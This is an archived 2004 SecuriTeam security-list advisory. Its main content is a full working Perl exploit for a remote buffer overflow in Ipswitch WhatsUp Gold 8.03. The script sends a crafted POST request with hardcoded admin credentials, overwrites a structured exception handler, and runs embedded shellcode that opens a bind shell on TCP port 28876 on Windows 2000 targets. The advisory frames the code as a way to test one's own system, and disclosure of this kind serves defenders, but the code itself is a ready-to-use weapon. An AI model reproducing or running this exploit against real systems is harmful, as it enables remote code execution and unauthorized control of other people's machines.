

[EXPL] Ipswitch WhatsUp Gold Remote Buffer Overflow Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0027.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/06/04

To: list@securiteam.com

Date: 6 Oct 2004 11:48:38 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Ipswitch WhatsUp Gold Remote Buffer Overflow Exploit

SUMMARY

As we reported in our previous advisory:

<<http://www.securiteam.com/windowsntfocus/5OP0L1PDPU.html>> Ipswitch WhatsUp Gold Remote Buffer Overflow Vulnerability, WhatsUp Gold allows attackers to execute arbitrary code under the privileges of the user that instantiated the application. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
#!/usr/bin/perl
# [LoWNOISE] NotmuchG.pl v.1.5
# =====
# IPSWITCH WhatsUp Gold ver8.03 Remote Buffer Overflow Exploit
# =====
#
# Exploit by ET LoWNOISE Colombia
# et(at)cyberspace.org
# Oct/2004
```

Securiteam: [EXPL] Ipswitch WhatsUp Gold Remote Buffer Overflow Exploit

```
#
# Tested on WIN2K SP4
#
# The exploit takes control by overwriting the pointer of a Structured
# Exception Handler,
# installed by WhatsUP and points to a routine that handles exceptions.
# (http://www.thc.org/papers/Practical-SEH-exploitation.pdf Johnny
# Cyberpunk THC)
#
# The overflow string has to be around 4080 in length to generate an
# exception that can
# be manipulated by changing the SEH pointer (ret [815]).
#
#
# Bug Discovered by
# iDEFENSE Security Advisory 08.25.04
# http://www.odefense.com/application/poi/display?type=vulnerabilities
#
# Greetz to the midget, the m3 and los parces , the seltiks,
# p0ch1n,Ritt3r,Mav, f4lc0n..

use strict;
use IO::Socket::INET;

usage() unless (@ARGV == 2);

my $host = shift(@ARGV);
my $port = shift(@ARGV);

# Bind shellcode port 28876 (HDM, metasploit.org)
my $shellcode =
"\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52".
"\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1".
"\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a".
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01".
"\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b".
"\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32".
"\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff".
"\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe".
"\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50".
"\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff".
"\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89".
"\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff".
"\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x6a".
"\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x24\xff\xff\xff\x31\xdb".
"\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x50\x50\x50\x53\x53\x31\xc0".
"\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53\x53\x53\x53\x6a\x44".
"\x89\xe6\x50\x55\x53\x53\x53\x53\x54\x56\x53\x53\x53\x43\x53\x4b".
"\x53\x53\x51\x53\x89\xfd\xbb\x21\xd0\x05\xd0\xe8\xe2\xfe\xff\xff".
"\x31\xc0\x48\x8b\x44\x24\x04\xbb\x43\xcb\x8d\x5f\xe8\xd1\xfe\xff".
"\xff\x5d\x5d\x5d\xbb\x12\x6b\x6d\xd0\xe8\xc4\xfe\xff\xff\x31\xc0".
```

Securiteam: [EXPL] Ipswitch WhatsUp Gold Remote Buffer Overflow Exploit

```
"\x50\x89\xfd\xbb\x69\x1d\x42\x3a\xe8\xb5\xfe\xff\xff";

my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
PeerPort=>$port);
$socket or die "Cannot connect to the host.\n";

$socket->autoflush(1);

print $socket "POST /_maincfgret.cgi HTTP/1.0\r\n";
print $socket "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel,
application/msword, application/x-shockwave-flash,
application/vnd.citrix.AdvGWClient-2_2, */*\r\n";
print $socket "Referer:
http://127.0.0.1/NotifyAction.asp?action=AddType&instance=Beeper&end=end\r\n";
print $socket "Accept-Language: en-us\r\nContent-Type:
application/x-www-form-urlencoded\r\nConnection: Keep-Alive\r\n";
print $socket "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; T312461; .NET CLR 1.1.4322)\r\n";
print $socket "Host: 127.0.0.1\r\nContent-Length: ";
my $cmd = "page=notify&origname=&action=return&type=Beeper&instancename=";

#[-----815-----] [ret] [-----4080-----]
#[A.....811...A][jmp] [ret] [nops][shc][E.....E ]

$cmd .= "A"x811; #815 -4
$cmd .= "\xeb\x06\x90\x90"; #jumper <eb + 06> <garbage> jmp to shellcode

#$cmd .= "\xfe\x63\xa1\x71"; #winXP SP1 ws2help.dll
$cmd .= "\xc4\x2a\x02\x75"; #win2k sp0-sp4 ws2help.dll

#$cmd .= "LOWNOISE"; #garbage :D
$cmd .= "\x90"x2080;
$cmd .= $shellcode;
$cmd .= "E"x(2000-length($shellcode)); #mas basura

$cmd .= "&beepernumber=&upcode=0*&downcode=9*&trapcode=6*&end=end";
print $socket length($cmd)."\r\nPragma: no-cache\r\nAuthorization: Basic
YWRtaW46YWRtaW4=\r\n\r\n";
print $socket $cmd."\r\n";

close($socket);
exit(0);

sub usage
{
print "\n[LoWNOISE] IPSWITCH WhatsUp Gold 8.03 Remote fr33 exploit\n";
print "=====\n";
print "\nUsage: NotmuchG.pl [host] [port]\n";
print "[host] Target host\n[port] WhatsUp webserver port\n\n";
print "\n Shell on tcp port 28876.\n\n";
}
```

Securiteam: [EXPL] Ipswitch WhatsUp Gold Remote Buffer Overflow Exploit

```
print "ET LoWNOISE 2004\n";  
exit(1);  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:et@cyberspace.org> ET LoWNOISE.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.